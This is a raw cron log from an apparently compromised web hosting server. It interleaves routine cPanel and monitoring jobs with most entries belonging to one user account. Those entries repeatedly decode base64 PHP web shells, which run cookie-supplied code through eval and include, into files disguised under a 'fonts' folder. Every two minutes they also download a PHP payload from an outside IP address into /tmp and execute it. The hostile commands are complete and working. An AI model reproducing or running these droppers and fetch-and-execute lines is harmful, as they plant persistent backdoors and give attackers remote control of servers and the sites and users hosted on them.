Sep 21 22:01:01 ip-184-168-122-23 CROND[24407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:01:01 ip-184-168-122-23 CROND[24409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:01:01 ip-184-168-122-23 CROND[24408]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 22:01:01 ip-184-168-122-23 CROND[24414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:01:01 ip-184-168-122-23 CROND[24411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 22:01:01 ip-184-168-122-23 CROND[24415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24408]: starting 0anacron
Sep 21 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24428]: finished 0anacron
Sep 21 22:02:01 ip-184-168-122-23 CROND[24534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:02:01 ip-184-168-122-23 CROND[24537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:02:01 ip-184-168-122-23 CROND[24536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:02:01 ip-184-168-122-23 CROND[24539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:02:01 ip-184-168-122-23 CROND[24538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:03:01 ip-184-168-122-23 CROND[24658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:03:01 ip-184-168-122-23 CROND[24661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:03:01 ip-184-168-122-23 CROND[24663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:03:01 ip-184-168-122-23 CROND[24662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:04:01 ip-184-168-122-23 CROND[24868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:04:01 ip-184-168-122-23 CROND[24869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:04:01 ip-184-168-122-23 CROND[24871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:04:01 ip-184-168-122-23 CROND[24875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:04:01 ip-184-168-122-23 CROND[24876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:05:01 ip-184-168-122-23 CROND[24986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:05:01 ip-184-168-122-23 CROND[24987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:05:01 ip-184-168-122-23 CROND[24990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:05:01 ip-184-168-122-23 CROND[24993]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 22:05:01 ip-184-168-122-23 CROND[24992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:05:01 ip-184-168-122-23 CROND[24994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:05:01 ip-184-168-122-23 CROND[24991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:06:01 ip-184-168-122-23 CROND[25114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:06:01 ip-184-168-122-23 CROND[25116]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:06:01 ip-184-168-122-23 CROND[25117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:06:01 ip-184-168-122-23 CROND[25118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:06:01 ip-184-168-122-23 CROND[25120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:07:01 ip-184-168-122-23 CROND[25218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:07:01 ip-184-168-122-23 CROND[25219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:07:01 ip-184-168-122-23 CROND[25220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:07:01 ip-184-168-122-23 CROND[25222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:08:01 ip-184-168-122-23 CROND[25332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:08:02 ip-184-168-122-23 CROND[25334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:08:02 ip-184-168-122-23 CROND[25336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:08:02 ip-184-168-122-23 CROND[25335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:08:02 ip-184-168-122-23 CROND[25337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:09:01 ip-184-168-122-23 CROND[25433]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 22:09:01 ip-184-168-122-23 CROND[25434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:09:01 ip-184-168-122-23 CROND[25436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:09:01 ip-184-168-122-23 CROND[25438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:09:01 ip-184-168-122-23 CROND[25439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:10:01 ip-184-168-122-23 CROND[25550]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 22:10:01 ip-184-168-122-23 CROND[25551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:10:01 ip-184-168-122-23 CROND[25561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:10:01 ip-184-168-122-23 CROND[25559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:10:01 ip-184-168-122-23 CROND[25557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:10:01 ip-184-168-122-23 CROND[25562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:10:01 ip-184-168-122-23 CROND[25560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:10:01 ip-184-168-122-23 CROND[25558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:11:01 ip-184-168-122-23 CROND[25753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:11:01 ip-184-168-122-23 CROND[25754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:11:01 ip-184-168-122-23 CROND[25756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:11:01 ip-184-168-122-23 CROND[25757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:12:01 ip-184-168-122-23 CROND[25866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:12:01 ip-184-168-122-23 CROND[25868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:12:01 ip-184-168-122-23 CROND[25870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:12:01 ip-184-168-122-23 CROND[25869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:12:01 ip-184-168-122-23 CROND[25871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
